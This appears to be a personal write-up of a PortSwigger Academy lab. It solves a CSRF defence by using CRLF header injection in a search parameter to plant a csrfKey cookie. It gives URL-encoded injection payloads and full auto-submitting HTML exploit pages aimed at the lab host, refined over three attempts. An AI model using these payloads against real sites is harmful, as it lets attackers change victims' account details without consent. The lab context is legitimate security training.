On this page
apsyleg1 min read
#portswigger #csrf #crlf-injection #web-security

CSRF where Token is Tied to Non-Session Cookie

Lab

CSRF where token is tied to non-session cookie · Practitioner

Solution

Given: we need to change the user's email by creating a malicious page, bypassing the CSRF-token defense along the way. OK, let's study how the email change works.

The hidden CSRF field — 6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1. Look at the cookies: session and csrfKey. Interesting. Check the POST /change-email request. It sends email + CSRF from the hidden field. And of course the cookies.

So the server checks that the csrf token matches csrfKey, session is not used in the validation.

Attack vector: substitute the victim's csrfKey cookie and supply the matching csrf token. We're given an exploit server.

Key question — how do we set a cookie on the victim? As my mentor suggested, we can look toward a \r\n attack and inject our own Set-Cookie header, given that there's a function on the site that reflects into this header.

Looks like the search function is the only candidate. Try searching for wr3dmast3r. Indeed:

set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly

So the payload could look like this — ?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F:

GET /?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP/2

Server response:

Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=hacked; path=/; Secure; HttpOnly

For the full attack we host on the exploit server a page with an iframe and a password-change form, which will load the search page with our payload (which sets a pre-prepared csrfKey in the user's cookies), and on onload we submit the form with a pre-prepared csrf token — and that's how we change the password.

Form:

<form id="csrf" action="LAB URL + /my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="TOKEN">
</form>

iframe:

<iframe src="https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F"
  onload="document.getElementById('csrf').submit()}"></iframe>

Make a request to /my-account and grab the key and token for the attack:

csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi
csrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J

Final:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<iframe src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F"
  onload="document.getElementById('csrf').submit()}"></iframe>

Problem, X-Frame-Options is set:

Refused to display 'https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.

We can try img, after all we only need to fire the request. Only the handler will be onerror:

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()}">

Final 2:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()">

Strange, checking on my own account. Our image request fires https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F, OK, our cookies are set: csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;.

After that we submit the form, it has csrfg3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J. And we look at the cookies, oops, there's a different csrfKeycsrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;.

Apparently it doesn't get set after all.

Read up, will try setting SameSite=None;.

Final 3:

<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
    <input name="email" value="wr3dmast3r@m.com">
    <input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>

<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">

Nice, tested on myself — seems to work! Let's submit it for grading.

I don't get it, PortSwigger isn't accepting it...